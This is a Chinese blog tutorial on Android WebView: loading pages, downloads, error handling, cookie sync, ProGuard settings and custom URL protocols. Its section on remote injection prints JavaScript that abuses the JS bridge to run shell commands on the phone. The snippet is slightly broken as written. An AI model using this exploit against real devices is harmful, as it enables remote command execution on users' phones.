android中WebView的用法总结

android中webView的使用
1. 简单使用:使用的是系统默认的浏览器打开
webView = (WebView) findViewById(R.id.webView);
webView.loadUrl(“http://www.baidu.com“);
2. 设置能在自己的应用上打开,而不是在系统默认的浏览器上打开:

 webView.setWebChromeClient(new WebChromeClient(){
            @Override
            public void onReceivedTitle(WebView view, String title) {
                //在这里可以设置标题
                super.onReceivedTitle(view, title);
            }
        });
        webView.setWebViewClient(new WebViewClient(){
            @Override
            public boolean shouldOverrideUrlLoading(WebView view, String url) {
                //在这里加载url
                view.loadUrl(url);
                return super.shouldOverrideUrlLoading(view, url);
            }
        });
  1. 模拟浏览器,显示当前网页打开的标题
 webView.setWebChromeClient(new WebChromeClient(){
            @Override
            public void onReceivedTitle(WebView view, String title) {
                //设置标题
                titleView.setText(title);
                super.onReceivedTitle(view, title);
            }
        });

效果图如下:
这里写图片描述
4. 使用webview去下载文件

// 下载文件
        webView.setDownloadListener(new DownloadListener() {
            @Override
            public void onDownloadStart(String url, String userAgent,
                    String contentDisposition, String mimetype,
                    long contentLength) {
                System.out.println("download url.......>" + url);
                if (url.endsWith(".apk")) {
                    // 在这里调用下载文件的逻辑,自己实现
//                  new Thread(new MyDownLoadThread(url)).start();

                    //使用系统下载文件的功能
                    Uri uri = Uri.parse(url);
                    Intent intent = new Intent();
                    intent.setAction(Intent.ACTION_VIEW);
                    intent.setData(uri);
                    startActivity(intent);
                }
            }

        });

在上面的代码中下载时有两种方式,一种是自己实现下载功能,另外一种是使用系统的。
5.webView的错误处理
当网络不好时,需要提醒用户:
有两种方式:
1. 加载本地html处理
2. 在布局中处理
下面演示html去处理:

webView.setWebViewClient(new WebViewClient() {          
            //出现错误时去处理
            @Override
            public void onReceivedError(WebView view, int errorCode,
                    String description, String failingUrl) {
                //加载本地html
                System.out.println("failingUrl---->" + failingUrl);
                webView.loadUrl("file:///android_asset/error.html");
                super.onReceivedError(view, errorCode, description, failingUrl);
            }
        });
  1. webView如何同步Cookie信息
    首先写一个类去与获取cookie信息
package com.example.webviewtest;

import java.util.ArrayList;
import java.util.List;

import org.apache.http.HttpResponse;
import org.apache.http.NameValuePair;
import org.apache.http.client.HttpClient;
import org.apache.http.client.entity.UrlEncodedFormEntity;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.cookie.Cookie;
import org.apache.http.impl.client.AbstractHttpClient;
import org.apache.http.impl.client.DefaultHttpClient;
import org.apache.http.message.BasicNameValuePair;

import android.os.Handler;
import android.os.Message;
/**
 * WebView 实现Cookie同步
 * @author johnny
 *
 */
public class HttpCookie extends Thread {

    private Handler handler;

    public HttpCookie(Handler handler) {
        this.handler = handler;
    }

    @Override
    public void run() {
        HttpClient client = new DefaultHttpClient();
        //这里的地址为你web上登录的网址
        HttpPost post = new HttpPost("http://192.168.1.23:8080/web/login");
        List<NameValuePair> params = new ArrayList<NameValuePair>();
        params.add(new BasicNameValuePair("logName", "johnny"));
        params.add(new BasicNameValuePair("pwd", "1234567"));

        try {
            post.setEntity(new UrlEncodedFormEntity(params));
            HttpResponse response = client.execute(post);
            if (200 == response.getStatusLine().getStatusCode()) {
                AbstractHttpClient absClient = (AbstractHttpClient) client;
                List<Cookie> cookies = absClient.getCookieStore().getCookies();
                for (Cookie cookie : cookies) {
                    System.out.println("logName:" + cookie.getName() + ",pwd:" + cookie.getValue());
                    System.out.println("cookie:"+cookie);
                    //发送改主线程
                    Message message = Message.obtain();
                    message.obj = cookie;
                    handler.sendMessage(message);
                }
            }

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

然后,在MainActivity里面同步cookie信息:

private Handler handler = new Handler() {
        public void handleMessage(android.os.Message msg) {
            //核心代码
            //创建CookieSyncManager
            CookieSyncManager.createInstance(MainActivity.this);
            CookieManager manager = CookieManager.getInstance();
            manager.setAcceptCookie(true);
            manager.setCookie("http://192.168.1.23:8080/web", msg.obj.toString());
            //同步cookie信息
            CookieSyncManager.getInstance().sync();
//          manager.flush();

            webView.loadUrl("http://192.168.1.23:8080/web/index.jsp");
        };
    };
  1. 解决与js调用混淆代码时出现的问题
    在未处理之前,如果在混淆代码时,如果没有处理,则会导致调用js无效,解决的方法如下:
    在proguard.cfg里面加上如下代码:
//com.example.webviewTest.WebHook  js要调用对象
-keep public class com.example.webviewTest.WebHook {    
    public <methods>;
}

另外在开发中碰到了一个bug,也在这里加下:
在proguard-project文件中有这么一句:

<span style="font-family:KaiTi_GB2312;font-size:14px;"># If your project uses WebView with JS, uncomment the following  
# and specify the fully qualified class name to the JavaScript interface  
# class:  
#-keepclassmembers class fqcn.of.javascript.interface.for.webview {  
#   public *;  
#}</span>  

把注释解除,把fqcn.of.javascript.interface.for.webview换成你自己定义的那个类名(包名也必须有,如果定义的是内部类,则是cn.wj.ui.WebViewActivity$myInterface),在4.1的系统上是没有问题了,但4.2的机子上还是不行,再找找,哦,原来是4.2以上版本调用js接口需要在方法使用声明@JavascriptInterface,然后混淆时可能会弄丢该声明导致,程序无法调用js,需要继续再配置文件中添加条件,

-keepattributes *Annotation*
-keepattributes *JavascriptInterface*

所以当使用了webview和js交互时,混淆文件中应该添上这些配置:

-keepclassmembers class cn.xx.xx.xxActivity$AppAndroid {  
  public *;  
}  

-keepattributes *Annotation*  
-keepattributes *JavascriptInterface*  

这样了之后,就不会混淆这部分代码,从而加载有效。

  1. WebView导致的远程注入问题
    在调用js代码的页面使用以下代码,可以操作手机:
function check() {
        for (var obj in window) {
            try {
                if ("getClass" in window[obj]) {
                    try {
                        window[obj].getClass();
                        document.write('<span style="color:red,font-size:22px">'
                                 + obj + '</span>');
                        document.write('<br/>');
                    } catch(e) {

                    }
                }

            } catch(e) {

            }
        }
    }

    function xecute(cmdArgs) {
        return searchBoxJavaBridge_.getClass().forName("java.lang.Runtime")
            .getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
    }

    try {
        //执行linux系统命令
        //excute(["/system/bin/sh","-c","ls > /sdcard/log-ls.txt"])
        excute(["/system/bin/sh","-c","ls > /mnt/sdcard > /sdcard/log-netstat.txt"]);
    } catch(e) {
        alert(e);
    }

这个问题在4.4之后就被解决了,如果我们自己去处理webview的话,需要自定义协议去处理。
9.webView自定义协议拦截问题
有时候需要与前端处理一些问题,需要自定义一些协议:
如:在前端页面login.jsp里面写有:

<a href="http://169.254.181.83:8080/WebViewTest/login.jsp?startActivity">load page</a>

在我们app客户端,要处理这个协议:

webView.setWebViewClient(new WebViewClient() {
            @Override
            public boolean shouldOverrideUrlLoading(WebView view, String url) {
                //在这里处理自定义协议
                if (url.endsWith("?startActivity")) {
                    Intent intent = new Intent(MainActivity.this,SecondActivity.class);
                    startActivity(intent);
                    return true;
                }

                // 在这里加载url
                view.loadUrl(url);
                return super.shouldOverrideUrlLoading(view, url);
            }
        }

当然协议可以有很多方式,这里只是一种简单的举列,要根据实际开发来处理。
以上就是webview的相关知识,非常感谢慕课网的老师的讲解。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值